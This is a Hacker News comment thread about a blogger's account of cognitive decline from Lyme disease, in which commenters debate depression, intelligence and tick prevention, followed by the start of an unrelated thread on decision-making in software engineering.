"I have come to find out what it's like to be dumb." - <AUTHOR> http://waldo.jaquith.org/blog/2013/09/stupid/ <comment><USER2> Grouping all the described symtoms under "depression" (and "stupidity") is a non-helpful way to think about Lyme disease, which messes up all sorts of neurotransmitters. You won't get very far by just comparing your experience to that of a depressed person; variously, the symptoms of Lyme disease can mimic clinical depression (serotonin/norepinephrine imbalance), _or_ ADHD (dopamine imbalance), generalized anxiety (GABA imbalance), seasonal/chronic fatigue (acetylcholine imbalance), and so on. This is besides the effects that the swelling of brain tissue has on cognitive function, e.g. memory.

And I wouldn't equate any of that with what it's like to have a low IQ (what is traditionally thought of as "stupidity.") IQ is a measure, basically, of how little evidence your mind needs to recognize a pattern--thus, low-IQ people being thought of as "dense," and thus sufficiently-high IQ being able to do things like deducing all of physics from a few static pictures[1]. Being dumb doesn't feel like having a bad memory, or thinking slower, or not being able to multitask. It feels like looking at a square peg and a grid of shape- holes, and not (quickly) realizing that "shape" is a relevant property that the holes differ by, such that you should select a hole based on the shape of the peg.

It should feel genuinely _alienating_ to try to picture yourself "dumber" than you are--like that you, which you would be, is hard for you to empathize with; like they'd solve problems in entirely different ways, out of necessity for not recognizing patterns as easily. And then you can reflect that intuition to understand what it would be like to be more intelligent than you are: someone who would also solve problems in different ways, for seeing their structure _more_ easily; and someone who would have a hard time empathizing with the decisions a version of themselves, reduced to only your intelligence, would make.

\---

[1] [http://lesswrong.com/lw/qk/that_alien_message/](http://lesswrong.com/lw/qk/that_alien_message/)

<comment><USER3> I agree with your post, except this part, "mimic clinical depression (serotonin/norepinephrine imbalance), or ADHD (dopamine imbalance), generalized anxiety (GABA imbalance), seasonal/chronic fatigue (acetylcholine imbalance), and so on. "

They really don't know what causes anxiety, or clinical depression. The are having a horrid time finding the true cause of these ailments. If anyone is seeing a MD who claims to know what causes depression and anxiety see someone else. It gotten so disappointing in the research community; very few companies are actively even looking for the root cause to these horrid diseases. So many people took these tri, and hetrocyclic drugs for depression, and if they worked--it was most likely placebo. Yes--panic attacks, and generalized anxiety respond to benzodiazepines most of the time, but hey are addictive, and no researcher who is smart would Not claim to know how they work. I wish you well.

I truly believe the best medicine is knowing you are going to get better. The placebo effect is sometimes stronger than any antibiotic. I sometimes believe the placebo effect is the only verifiable existence of God? When I am sick, I do a little research on the Internet, but have found it's better to just believe the medicine will work. Oh yea, I try to chose my doctors well--Board Certified who actually tried to keep current after years of practice.

<comment><USER2> > They really don't know what causes anxiety, or clinical depression.

True in spirit, but untrue definitionally. The thing is, the psychiatric profession still basically subscribes to a Behaviorist theory of mind when it comes to treating neurological problems. There's no consideration of what's going on in your head when you have a neurological malady; your head is a black box, where drugs go in, and altered behaviors sometimes come out. "Clinical depression" isn't the name of a specific thing that we know goes on in the brain (in fact, it seems to be a whole cluster of things); rather, clinical depression is "the thing which taking an SSRI usually makes lessen." When a psychiatrist says you may be clinically depressed, what they're really saying is, "you have _symptoms_ that may be manageable by the effects of this or that drug." They have no idea whether they're treating the root cause, or just masking it, and a lot of them don't care. They just want to see your behavior alter, like a rat given a swim test.

And really, thinking of things like SSRIs as "medicine" is part of the problem. SSRIs and the like are _crutches_ \--given to you to lessen the symptoms of a problem enough for it to stop being _overwhelming_ , so that you can actually manage to make it to the CBT-practicing therapist every day, have the energy to find the the better job to get away from your horrible boss, etc. I wrote more on this here: [https://news.ycombinator.com/item?id=6347620](https://news.ycombinator.com/item?id=6347620)

(P.S.: In this case, though, if I might be a bit more pedantic: I didn't say that all those maladies in my post were caused by those imbalances. I said that _inducing those imbalances_ , in the way that Lyme disease does, will _mimic the symptoms_ of those maladies. Clinical depression may not be "just" a serotonin imbalance--but inducing "just" a serotonin imbalance tends to produce the symptoms of clinical depression. ;)

(P.P.S.: note that I never used the word "disease" or "illness" once. See my link above--these words don't apply to things like nearsightedness, so they don't really apply to the kind of problems neurological imbalances manifest as, either.)

<comment><USER4> Certain forms of affective disorders (recurrent unipolar depression, bipolar disorder) are actually best managed with consistent drug use, and there's evidence that although things like CBT can help manage symptoms (and dealing with the impact of being diagnosed), the depression isn't situational, being on antidepressants or mood stabilizers is often the best treatment plan. A person with bipolar depression (or recurrent, unipolar depression) who approached it your way and decided to go unmedicated when they felt 'better' could very easily have another episode, which is generally seem as bad (since that's how people are killed by it). Equating serious mental illness with a limp or nearsightedness (and not recognizing it as a serious illness: 25-50% of bipolar patients attempt suicide, many succeed) is dangerous if those with it believe you and somewhat dismissive.

On a more relevant note, there has been more and more fMRI work on identifying the actual issues within the brain. I know less about unipolar depression, but some results have shown that bipolar patients actually have slightly different brain structures and vastly different neural activity during an episode. Science is actually working on figuring out the black box mind-thing, and hopefully it'll keep getting better at it. Treatments just have to slowly catch up.

(Edited: grammar/spelling, due to writing on a tablet.)

<comment><USER2> Did you read my linked expansion on the topic? Some people need crutches, temporarily; others need wheelchairs, permanently; and others don't _need_ , but function more optimally with, glasses. There are chemical imbalances that resemble all of these states. (I have ADD myself, which is quite solidly in the third group.)

</comment></comment></comment></comment></comment><comment><USER5> Good god. What is this pretentious bullshit? This tone of this post was so incredibly ridiculous I had to create an account to ask why it was posted here or taken seriously.

This self proclaimed smart person, with heavy emphasis on the self proclaimed part (check out the incredibly smug About page) apparently needs Lyme disease to feel the plight of the oh so pitiful stupid people. News flash, half the population is dumber than average, stop acting like Lyme disease is a cute self reflection on intelligence.

I am not attacking your smartness, and please get well soon, but don't be a pretentious asshole. God. South Park's "Smug Alert!" episode perfectly encapsulates the culture of this place sometimes.

Over and out.

<comment><USER6> Cut him some slack, he did write it while having Lyme disease...

</comment></comment><comment><USER7> Lyme is pretty heavy. Three of my family members have it in various stages, one of them really serious. They live in rural Poland where in the forests it is more or less a given that you will contract Lyme at some point in your life. For foresters it is a better-than-even chance that they contract the disease by the time they are 30 even if they are careful, all it takes is one tick that you didn't spot and you get bitten by ticks all the time there.

Lyme disease does not 'make you stupid', but it can make you very ill. One of the possible symptoms is depression, memory loss is another so the symptoms the author describes are very much in the realm of the possible.

If you're ever bitten by a tick and you see a bulls-eye pattern around the bite _get yourself to a doctor and make sure you are prescribed anti-biotics right away, do not wait (for instance until your holiday is over)_. I can't emphasize this enough. I don't like anti-biotics for many reasons when they are used without a good reason but Lyme disease is no picnic and the earlier you deal with it the better your chances of complete recovery. Wait too long and you're in for a world of trouble, in case you think I'm exaggerating please read the wikipedia page on Lyme disease or have a chat with my brother in law whose life is pretty much determined by Lyme in a very advanced stage.

<comment><USER8> A friend of mine recently got a rash (I don't think it was a classic bullseye pattern) and some fatigue. She didn't notice a tick. Went to a doctor, _suggested_ that it might be Lyme disease -- doctor told her if she'd had a tick, she would have noticed it, so it must be allergy. A month later she was in the hospital with a confirmed Lyme diagnosis.

If I get an unexplained rash with flu-like symptoms, even if I don't see a tick, I'm taking antibiotics just in case. Better safe than sorry.

<comment><USER7> > Better safe than sorry

Yes, that's the right attitude to take with this disease. The main criterium is that you've been in or are in a region where ticks are found, combined with warm/hot weather.

Areas to avoid: long grass, shrub and forests.

<comment><USER9> Also, if you're in one of those areas, check yourself thoroughly for those tiny deer ticks every twelve hours. If you find one, pull it off without squeezing its abdomen. That'll greatly reduce the chance of transmittal.

The problem is seeing the little buggers.

<comment><USER10> You can get a cheap little plastic thing called a "Tick Twister" at the pet store, and it is awesome. I've had to remove plenty of ticks from my dog, and a few from people and this tool is invaluable.

</comment></comment></comment></comment></comment><comment><USER11> _" Depression, at least as I'm experiencing it, is the absence of emotion, rather than negative emotion. I don't mind it, not yet, but maybe depression is what keeps me from minding depression."_

More likely, what you experienced was anhedonia, a symptom of certain types of depression. Anhedonia is technically defined as the inability to experience pleasure from once-enjoyable activities, but those I know who've suffered from it have often described it in terms very similar to yours. They say things like "I just didn't care about anything," or "it was like I was bored of being bored, but too bored to do anything about it."

To simplify depression -- a neurologically and idiosyncratically complex phenomenon -- as the "absence of emotion" is to mischaracterize the affliction. There are other shades of depression in which emotion is, if anything, severely heightened and labile. Pure, raw, unfiltered anguish. The absolute lack of hope. Like the shit they talk about in the Harry Potter books, when the dementors suck out your soul (incidentally, Harry Potter author J.K. Rowling battled with severe depression, and she modeled said dementors off of the suffering she went through).

<comment><USER12> A salient point re: the existence of different types of depression. Some cause a physical slowness (can't get out of bed), some cause anhedonia, some are the dementor type, etc.

<comment><USER13> I personally cannot get out of bed and face the world, I am suicidal at nearly all points of the day (but in a curious way; it's more I picture myself killing myself, but not in a "MUST DO THIS NOW" way. Its very odd and disconcerting). I can still experience emotions (all of them), but they are heavily skewed to the negative. I ignore the future, and focus on the past and present.

It's a shit disease.

<comment><USER14> I've found this comic very helpful to understand/identify with some of the emotions, swings and frustration with depression (and absolute stagnation).

[http://hyperboleandahalf.blogspot.com/2013/05/depression- par...](http://hyperboleandahalf.blogspot.com/2013/05/depression-part- two.html)

</comment></comment></comment></comment><comment><USER15> I really feel for this guy.

I'm a linux sysadmin in a 24/7 data processing/medical environment. Last november, I fell off my bike, without a helmet on. (I was on paved paths on a college campus during a football game; if I had been playing in traffic or moving quickly, I would've been wearing a helmet. However, I was moving at walking pace and SOMEHOW went over my handlebars. I have no memory of the accident.) I received a closed head injury, cervical spine injury, and had bleeding on the brain, and was borderline for concussion. I spent the night in the critical care unit and they wouldn't let me sleep. It was a pretty serious injury and I was on painkillers due to migraines for years.

For several months, I tried my hardest to do my job. But I didn't "grok" things. I couldn't code in the languages I'd known since the late 90s. I couldn't learn new things -- learning Ruby, even with the help of codecademy, was epic fail. I'd go through the classes and put any old thing in to make it work (thinking it wouldn't), and get 100% without understanding WHY it worked. I couldn't keep up with technology and wasn't reading HN and the other news sources I normally keep up with.

Eight months after the injury, I suddenly understood my first languages again. Another month after that, I could learn new things, and picked up Ruby and Chef inside of a week.

The worst part of it is that I didn't know that I was stupid. I thought I wasn't trying hard enough, and I pushed myself into feeling horrible about the whole thing.

The entire experience has given me a lot of sympathy for people who say that they can't do something because it doesn't feel understandable to them, even after they've been shown and guided through it.

<comment><USER15> > painkillers due to migraines for years

I meant "months". Obviously, not everything's back where it should be. (And this is the truth. After my injury, my brain is not the same tool it used to be. I troubleshoot in the reverse order I used to. I skip items in checklists that I remember reading clearly and damned well know are there. Even though most things came back without much struggle, I'm having to re-learn certain small things that used to be second nature.)

Wear your helmets, kids.

</comment></comment><comment><USER16> I'm really still trying to come to terms with the opener: "It's not like I deserve any credit for being smart. I didn't do anything to make that happen. I'm also tall, but nobody compliments me on that. (Good job being tall!) Intelligence is an immutable characteristic that I have at times capitalized on and at other times let go to waste."

To my layman understanding of psychology, and especially what intelligence research has been uncovering over the last few decades, the exact opposite is the case: \- intelligence is far from an immutable trait \- we do a lot to influence our own intelligence (perhaps far more than we realize, since much of what we do is due to implicit socialization/upbringing)

If you're going to use an analogy to a physical characteristic, than I'd suggest using weight not height: yes there are relevant genetic traits, but they're only a fraction of the story.

<comment><USER17> once you are a fully developed adult, intelligence is normally very stable. an analogy with weight simply doesn't work: anybody can increase their weight simply by eating more, but we don't know of any reliable methods of massively increasing or reducing intellignece.

</comment></comment><comment><USER18> For those who don't know, Waldo Jaquith is something of a national treasure, as the only person in the country who has effectively managed to tackle the problem of standardizing state statutes in an open manner, as they should be. (I managed to get a few on PlainSite, but Waldo's platform has tackled many more by distributing the problem.) Check out The State Decoded at:

[http://www.statedecoded.com](http://www.statedecoded.com)

We should all hope that Waldo feels better soon. He is anything but stupid.

</comment><comment><USER19> _Intelligence is an immutable characteristic_

I get so tired of seeing this. We can't even really define intelligence but I'm guessing this is based on a previous assumption that IQ was static, which we now know it not to be. We need to remember, also, that IQ is not a measure of intelligence.

<comment><USER20> Citation needed on both points. Most evidence points to IQ scores being valid measures of intelligence, in that they have some predictive power, especially for average life outcomes for groups of people, and are mostly stable throughout life. For example, look up the Study of Mathematically Precocious Youth, which examines life outcomes based on SAT scores at age 12.

<comment><USER19> _valid measure_ ... _some predictive power_

I'm not sure if those two belong in the same sentence. If we were to come up with a point system that measured beauty in women, for example, you could measure pronouncement of cheekbones and thickness of lips, etc. While Angelina Jolie would score well, so would Jocelyn Wildenstein, and Emma Watson would score poorly. Such a system might have "some predictive power" for large population sizes, but could never measure "beauty".

Intelligence is qualitative, like beauty, not quantitative, and therefore could never be expressed individually as a number. We would do well to bear that in mind.

</comment></comment></comment><comment><USER21> The closest I've ever come to understanding what it's like to have depression, or any other neurological disorder affecting mental state, was a few years back when I had a particularly bad cold and/or allergies, and decided to take Mucinex DM.

By the end of the first day I felt a general malaise. By the end of the second day I was feeling something I've never felt before, or since. Everything, and I mean _everything_ in life seemed without value or purpose. The only thing that kept me functioning and not immobilized as a curled up ball in bed were the expectations of my family and job (which was _also_ for family). Even so, I could tell I wouldn't be able to keep that up much longer.

When I come home, my two young daughters would run up and want to talk to me. While I admit, I sometimes lose patience for them when I'm tired, in this case I patiently let them explain what had happened so far that day, but _the entire time, without exception_ , I could only think about how I wanted this to be over so I could sit down and do... what? Nothing seemed worthwhile. No TV, no book, no computer. I realized I might as well go lay down on the bed. My goals and ambitions were also gone. I didn't want to work, I just wanted to be left alone.

I lasted another day on Mucinex before I decided this was definitely not healthy, regardless of how much less phlegm I had to deal with, and stopped taking it. I felt normal (if stuffy) within a day or two.

I'm not saying this is the _same_ as depression, I really have no basis for knowing. All I know is that if that's what people that are depressed feel like, I feel very, _very_ sorry (and terrified) for them. The idea of the ramifications if that lasted long term are horrendous. If I survived it long term, I'm fairly certain it would be at the cost of ruining my life.

Interestingly, a friend of mine said he had a similar experience with Mucinex DM a few months later. I didn't get into the details with him though (although I had already described my experience before). It seemed too personal to ask for more detail, considering my own experience.

</comment><comment><USER22> It's funny, because Lyme is one of those diseases where "it could be anything" to the outsider because there are no external indicators that something is wrong with them.

Back when I was younger I got Lyme disease at the age of 13. I got treated for it by some quack without antibiotics and then went on with my life - essentially untreated. Between the ages of 14 and 17 I have barely any memories. There are snippets of events that I can recall in my memory, but in total they must be less than 20 snippets over the course of 3 years of my life. If I try my very best to go back to other moments in there, there is nothing, kind of like after having had a few too many drinks and being unable to remember how you got home, but then having that feeling for about 3 years of your life.

Much like stated in the post, your memory is affected by Lyme disease. You actually still have the capacity to think complete thoughts, but after only a few seconds your thoughts are gone.

One of the few snippets of memory that I have left, is the sudden strong realisation that I tried my very best to remember what had happened in the last 7 days - and the complete and utter inability to recall even one single event over those 7 days. I wasn't even able to remember what I ate for lunch 3 hours earlier, or what I had been doing for the previous 5 minutes. I remember getting really upset that I felt that that memory was also fading and I kept on repeating it in my head to prevent it from disappearing. It was scary.

I am apparently fortunate enough to continue functioning well after Lyme disease, but I can guarantee you that the experience being written in this post is absolutely identical to the experience that I had.

It's bizarre, it's scary, but fortunately for Waldo: he won't remember a thing anyway.

</comment><comment><USER23> I created a throwaway account so it's not associated with my normal handle on here. This post brings up something I've been wondering about, and it's something that's really been bothering me the last few years.

I feel like I've become significantly less intelligent over time, and I can't figure out if that's really the case, or if it's a different issue that simply makes me feel less intelligent.

When I was in high school, everything I learned was simple -- everything was a piece of cake. I would program my TI calculator (with a list of assembly opcodes next to me) at the back of the class and basically ignore the lesson and then get the highest grade on every test. Same in chemistry. Every standardized test I took (SAT, ACT, etc.) gave results in the 99th percentile. Same with the AMC and AIME. I graduated 1/200 in my class. I had all kinds of interesting programming projects in my free time from age 12 to 18.

Then I went to college: a STEM school. The first semester went fine; I got all A's. The second semester, I got my first B ever. The third semester, more B's. Eventually a C. My final GPA ended up being 3.5, significantly lower than anything I had been used to. I couldn't stay awake during lessons in class. I was sleepy all the time despite getting good sleep (8-9 hours) every night. I never skipped class, but I may as well have considering how sleepy and groggy as I was. This had _never_ been an issue in high school. I don't ever remember getting sleepy in class then, even if the lecture was boring.

Suddenly, new subjects became incomprehensible. The ease at which I previously absorbed new material was gone. Nothing "clicked" anymore. I'm in graduate school now and still nothing "clicks". I attend department seminars where visiting professors present their research, and it may as well be alien gibberish. I feel like I'm just faking my way through grad school at this point. I can still manage A's and B's in classes without ever understanding the content only because of the way the grading system's designed. Luckily, I seemed to have retained my programming capabilities.

I can't figure out what caused this. One option is physical: perhaps something chemically changed within my brain. Virus, physical trauma, getting older? No idea really. The other option is environmental. In high school I only had dial-up internet access, so anything I wanted to download, I had to _really_ want. It was an all-day ordeal to get a 3 MB file. It was almost impossible to goof off online. Nowadays I get on the internet and just get distracted. I can't get into side-projects like I used to be able to. I still have the strong _desire_ that I used to, but not the motivation. I don't know where it went; why would my personality just change for the worse like that? I almost wonder if skimming huge amounts of information online has somehow re-trained my brain to not absorb knowledge anymore.

Has this happened to anyone else? Have you figured out a way to reverse the process? I would love more than anything to have the incredible clarity with which I used to understand new subjects rather than this fuzzy, muddy feeling with everything I try to learn.

<comment><USER24> I have a similar story to yours although I doubt I was as smart. In high school I could get the best grades in my class without much effort and got a near perfect score in the baccalaureate. Nothing to brag about though, since I then proceeded to drop out of law school in my second year. I completely lost the will to work and ended up with humiliatingly low grades before finally breaking down and starting afresh.

Like you I got into the habit of getting distracted online. Failing university was a sufficiently strong blow to my ego that I finally "woke up" and attempted to analyze what went wrong in my life: I came to the conclusion that my addiction to random bullshit on the internet had completely eaten my mind. The constant procrastination had eventually caused me to sink into depression, thus worsening the cycle even more. It got so bad I was unable to concentrate for more than 2 hours on the same subject. By contrast I used to read several books a week on various subjects.

I decided to drastically change my lifestyle. I cut away all non-essential internet use and went cold turkey. I forced myself to read again, at least 2 hours per day. I took on a strict diet and exercise regime. I took every opportunity to meet new people and see my friends I could find. I reduced my consumption of media (especially fiction). I practiced meditation. I distanced myself from the screen.

The point of this rambling post? It worked. I slowly but surely got back to my previous levels of intellectual involvement and curiosity about the world. I do go on Hacker News once in a while but it's an occasional small treat after I've worked hard. I'm not going to pretend to be a doctor and diagnose your life based on a single post, but I think you should at least try to do the same thing I did. At least consider cutting out the non-essential internet. You have nothing to lose. Keep in mind that it's a long term goal.

tl;dr It's possible to reverse the process

<comment><USER23> Thanks! I appreciate the detailed post you've written. The more I think about it, the more my case sounds like yours. I'm now thinking it's less "something happened to my brain" and more "my habits caused this problem". I'll attempt the same thing you've done to see how it goes.

You just quit procrastinating cold-turkey though? How did you force yourself to read? Every time I pull out a textbook at a time that isn't the night before a test or HW assignment I fall asleep reading it or end up staring at the wall instead.

Meditation is an interesting idea... I've never given that a try before.

<comment><USER25> It's the same for me that I fall asleep if I do something I'm either unmovitated to do or that is above my level.

I think you have to admit first that you might be not as smart as you think you are. Highschool was easy. I don't want to sound arrogant, but the American high school is considered a joke in Europe. Not so much university. They are really good and can be equally tough. So maybe you simply experienced and continue to experience your current limit.

You need to sit down just as everyone else and study for real.

How to do it:

If you have trouble getting started at all, convince yourself that you'll do ony one page or so. Mostly, you can do more.

Try the pomodoro technique. Set a timer to 25 minutes and then take 5 minutes break. This has two effects: a) The chunk of work doesn't seem to be so much. b) You get a break before you are exhausted. If 25 minutes is too hard, adjust to 15.

Divide the textbook in extremely small chunks you need to understand and are able to understand. This might take a long time, but I typically fall asleep if I don't even get an idea where to start. You have to start somewhere and it should be very small.

And if nothing helps: Go back to the basics or get a different textbook that works better for you.

<comment><USER26> Yup try the "tomato" it worked for me!

The method enables you to concentrate without distractions, and encourages deep thinking, which is what you need to be able to do to operate at a very high mental level.

</comment></comment></comment></comment></comment><comment><USER27> Hey. I Actually agree with your article because I HAD lyme 1 month ago too. And felt the same. You are probably on the 14 day Doxy. After it you start to feel better pretty quickly. I went to a great infectious disease doc (if you are in Seattle). You probably tripped out like me and went reading about it on the internet for hours if not days. 99% of lymeand post lyme disease is BS. No such thing as post lyme disorder. Its highly sensitive to doxy . I caught mine a month after and 2nd day of doxy started feeling better.

But man such a strange feeling. Depression was a first for me i don't know if its from the toxins that inhibit certain stuff or psychological but its strange. Anyway get well soon and don't believe the lyme stuff you read I can assure you. You reach 100%. Just don't have unprotected sex as that shit is real depression material !

</comment><comment><USER28> Do other people feel their cognitive abilities diminishing as they age?

I've been diagnosed with major depressive disorder, generalized anxiety disorder, panic disorder, ADHD-Inattentive type, and probably other things that I can't remember right now. I think most of these diagnoses (panic disorder being the only viscerally clear one) are to explain the disparity between my IQ scores throughout the years and my lack of performance in school and life in general. Which, by the way, I know is the dead-horse of tropes for internet comments...

As a result of these diagnoses I've taken several classes of medications and several instances within each class.

SSRI/(S)NRIs: Prozac, Cymbalta, Lexapro, Wellbutrin, Strattera, probably others

Stimulants: Adderall (XR), Ritalin

Benzodiazepines: Klonopin, Xanax, Ativan

Weird hypnotic sleep drugs: Ambien, Lunesta

I feel like there is a very complex matrix of factors that have contributed to the way I am now (I used to be a pretty normal, social, outgoing, intelligent, excited kid who got bad grades, now I'm kind of a weird dude) and I can't determine the cause. If the cause is depression, I'd like to take the right medication to help with that. If the cause is medication, I'd like to stop taking medication. If this 'slowing down' feeling is something other people my age (25) feel, then maybe I don't need to make a big deal about it. The way the author described his neurotypical self reminds me of who I was 13 years ago before that first diagnosis and that first prescription. I want to feel that clarity again.

Right now I feel like I'm brute-forcing through life. And it's working. But I feel about 1/10th the joy/passion I had when I was a kid. Which is a symptom of depression. So I take drugs. That make me feel slow, and prevent me from being deeply depressed. Which might not even happen. I am stuck in a strange loop, but slowly mining my way out.

<comment><USER29> At 29 I've also become somewhat paranoid about age-related cognitive decline. From what little I've looked into it, to the extent you go by the fluid and crystallized intelligence dichotomy, fluid tends to peak at around 25 and crystallized peaks somewhere in the 35-55 range (I've heard multiple numbers from different sources), with major decline beginning around 65. Brain mass also peaks around 25 and loses around 2 grams per year thereafter. The intelligence loss seems to be exponential with age - you'll drop a lot faster between 60 and 70 than you will between 30 and 40. The different peaks for fluid versus crystallized probably affect life outcomes differently depending on lifestyle and profession, e.g. the saying I used to hear from my physics professors that "If you haven't done anything by 30, you never will," or the Primer quote, "What they do with engineers when they turn 40? They take them out back and shoot 'em." On the other hand fields requiring vast recall of domain knowledge like law or medicine probably favor the older crowd that have had decades more time to accumulate, even if they lack the high-level abstract problem solving stuff required more in e.g. physics or math.

Some relevant links on all that: [http://www.highiqpro.com/wp- content/uploads/2012/03/cognitiv...](http://www.highiqpro.com/wp- content/uploads/2012/03/cognitive-aging11.png) [http://www.brainhealthhacks.com/wp- content/uploads/2011/01/f...](http://www.brainhealthhacks.com/wp- content/uploads/2011/01/fluid-and-crystalized-intelligence3.png) [http://qph.is.quoracdn.net/main-qimg- fd832e64253819688a4eaaa...](http://qph.is.quoracdn.net/main-qimg- fd832e64253819688a4eaaaf25eac62b)

There's also work on reversing cognitive decline with stem cell therapies: [http://www.impactaging.com/papers/v4/n3/full/100446.html](http://www.impactaging.com/papers/v4/n3/full/100446.html)

</comment></comment><comment><USER30> This is like a Harvard student who drove down into the ghetto one time to buy pot. And now he won't shut up about what it was like comin' up in the 'hood.

<comment><USER31> That is an entirely inaccurate characterization of Waldo's entire point.

Waldo's trying to describe a state of being. You can argue about whether Waldo _really_ knows what long term depression is _really_ like, but that's separate from learning what it feels like to experience a set of symptoms which he has never previously fallen victim to.

He's not claiming to be an authority or an expert, or to even claim that this some how makes him special. He's claiming that he understands depression better now, having experienced it.

</comment></comment><comment><USER32> Though the article isn't pointedly about ticks and Lyme disease, I want to share some advice on them, as the disease can be truly debilitating and have long term consequences.

If you find yourself frequently outside where ticks are prevalent, invest in a permethrin based repellent that can be applied to your clothing. Ensure that you wear pants and long sleeve shirts whenever possible. I've been using a permethrin based clothing spray for years and have not found a single tick on me in that time. I can personally recommend this brand: [http://www.sawyer.com/permFAQ.html](http://www.sawyer.com/permFAQ.html)

</comment><comment><USER33> At the very least, TFA has come to find out what it's like to exhibit dumb, pleonastic writing style. "I have found out..." would be more idiomatic and sensible. "I found out..." would be better in most contexts, but tense is due more to authorial taste so I could have ignored that. Actually for a title that entire verb phrase could be omitted: "What it's like to be dumb" or "What being dumb is like". A good editor would whittle that down to "Being dumb", but then the polished title would contradict the claims of the rest of the piece, so perhaps the current title is best.

</comment><comment><USER34> If you state that you feel dumb(er), can this be measured quantitatively in any way? Can you re-take some tests where you know previous results to see if there are significant differences?

The described experience makes it hard to distinguish between reduced intelligence as such, versus disbalances in motivational/emotional systems that affect what you[r brain] choose to do, instead of the ability of what you can do. Both can be limiting, but in very different ways.

</comment><comment><USER35> I've had a similar experience due to coming down with a condition called occipital neuralgia (essentially compressed and/or damaged nerves in the scalp). I was in a car wreck several years ago, and it has been a nightmare ever since.

The main symptom for me is the continual feeling of pressure in the back of the head, and a bit of tenderness over the greater occipital nerves. I can still program somewhat effectively, but my short term memory is horrible, and quick-thinking is down the tubes. It's fairly similar to a mild/moderate hangover.

I would not say that I am dumb or truly have the same experience as someone of low IQ, but the whole experience has instilled a bit of resentment towards the Silicon Valley mindset that every dev must be a quick-thinking, 10x wiz kid. I am not an A-player at this point, but by putting in a few extra hours a week I can keep up with the devs on my team, and I try to make sure my output is somewhat on par.

Fortunately, botox has made a tremendous impact (takes pressure off the nerves), and I'm getting surgery soon so fingers crossed I can make a solid recovery.

</comment><comment><USER36> There was a course in my undergraduate college that required each student be 'handicap' for a week (e.g., blind, wheelchair-bound) for much the same reason. I didn't take the course but everyone on campus experienced it to some degree though peers.

In much the same way, I lost the use of my dominant arm for several months during graduate school. I always had respect for those with lifelong physical disabilities, but the insight I gained during that period resulted in even more respect. During that period I had one really supportive professor. But, I also had a second professor that I wanted to do much violence to - simply so that he might gain much needed insight. Since I graduated, the second professor has tried to get me to collaborate with him and I refuse to primarily because of his lack of basic respect for others' abilities (both disabilities and capabilities that exceed his own understanding).

</comment><comment><USER37> Back in the day, we did this with drugs.

</comment><comment><USER38> Why is the first comment always negative? The author of the link wrote an article based on his experience. I find that every first comment on HN is a tear down of the original post. The tone of every top comment seems to want to prove the com mentor's genius over the author.

</comment><comment><USER39> If there is something capable of making me drop everything and read an article right at this very instant, then that something is using a quote from "Flowers for Algernon" as the title.

Thanks to Waldo for sharing his being Charlie Gordon. I hope he recovers.

</comment><comment><USER40> He most definitely does not have depression. Saying that depression is simply apathy and 'feeling dumb' spits in the face of those who have to deal with _actual_ depression everyday.

</comment><comment><USER41> Make sure your physician is evaluating and treating your Lyme. Lyme is relatively uncommon in the Southeast US compared to the Northeast US so physicians here are not as experienced in treating it.

I would also seek a second opinion from a neurologist if you have not already. If you feel that you have cognitive impairment now, then the neurologist may feel that a brain MRI is indicated. This may not affect management, but may provide you with prognostic information.

</comment><comment><USER42> I really want to make a sarcastic comment about how half of American adults must have this disease but it sounds kinda serious so not going to make fun of it.

<comment><USER7> > it sounds kinda serious

It is.

> not going to make fun of it.

Thank you for that. Lyme is a very easy to contract disease depending on where you live and the progressive symptoms are devastating.

<comment><USER42> Best wishes to you. At least it can be cured?

I found this helpful for ignorant folks like me [http://www.cdc.gov/lyme/faq/](http://www.cdc.gov/lyme/faq/)

<comment><USER7> > Best wishes to you.

Thank you, fortunately I don't have it myself but three of my family members do.

> At least it can be cured?

If you catch it early enough you can get complete recovery. If you catch it a little later you'll have symptoms lasting for months or years, if it starts to progress you might be able to arrest it at some level or slow the progression but it will always keep trying to get worse. And once you reach any of the advanced stages it can not be cured, you're stuck with it for life.

</comment></comment></comment></comment><comment><USER43> Can someone please tell me if it's possible to get permanently sick from Lyme disease? (e.g. assume the initial systems are just a flu, get past those, and never realize you have other problems.) Because if so, I might have it. But that's impossible, right?

EDIT: Yes, I should ask a doctor, but given the medical situation where I live, it is quite hard to get good advice.

<comment><USER44> If you didn't treat it, then from what I understand, the spirochetes are still in your blood and brain. However, the official response of the medical community is 'no' because they don't have enough evidence to make that claim (from what I understand there is a lot of pressure from insurance companies to not make this a diagnosis that would result in them potentially having to cover years of treatment)

</comment></comment><comment><USER45> Being from Brazil, I didn't even knew such illness existed. Wikipedia says it's endemic to US, Europe and south of Argentina.

The symptoms sound pretty bad if untreated. Good to know more about it to pay attention while traveling, these endemic diseases are often hard to diagnose.

</comment><comment><USER46> It's still well written. I'm not sure how fast the author could churn out good articles when he was feeling good but he is definitely not that stupid now.

</comment><comment><USER47> I have come to find out what it's like to humblebrag.

</comment><comment><USER48> Just the premise is smug. If you think you're smart now, and lymes has made you dumb, you really are dumb.

We're all dumb. Lymes just made you dumber.

</comment><comment><USER49> Related and somewhat similar stories from Quora users: [http://www.quora.com/Intelligence/What-does-it-feel-like- to-...](http://www.quora.com/Intelligence/What-does-it-feel-like-to-be-stupid)

</comment><comment><USER50> Similar effects can be achieved by not getting enough sleep.

</comment><comment><USER51> This sounds like Spock on a binge of introspection.

</comment><comment><USER52> I've had depression my entire life and was diagnosed clinically depressed at 21. I don't think you have it, _yet_. That being said, it sucks you have Lyme's disease. I hope you get better soon.</comment>


Decision-Making: The Most Undervalued Skill in Software Engineering - <AUTHOR> https://hackernoon.com/decision-making-the-most-undervalued-skill-in-software-engineering-f9b8e5835ca6 <comment><USER2> I agree with the title! But the article itself is fluff & platitude.

Anecdotally, when I make bad decisions on the job it's almost always due to my emotional state. Whether it's the stress of an impending deadline, lack of sleep, feeling of inferiority, etc.

Even when I'm aware of a dangerous emotional state, it's difficult to make good decisions. Proactive prevention (get enough sleep, exercise, meditate if you're into that) has been the only solution for me. I'd be curious to hear more preventions and especially _interventions_ that work for others.

<comment><USER3> Completely agreed - I think of these as "decision hyperparameters"[1].

Some of the most important ones I think are: awareness of expertise level, adequate time, considered alternatives, slept well, not too hungry, aware of general cognitive biases.

I feel like running through this brief checklist (and checking it twice!) for important decisions has helped me immensely.

\---

[1] [https://alexpetralia.github.io/2017/11/27/NL-2017-11-27.html](https://alexpetralia.github.io/2017/11/27/NL-2017-11-27.html)

<comment><USER4> Don't forget social pressure in your list!

<comment><USER3> Good one. I'll update the list, thanks.

</comment></comment></comment></comment><comment><USER5> This article is fluff. However it touches on a base reality:

Writing software isn't that hard. The hard thing is knowing what software to write.

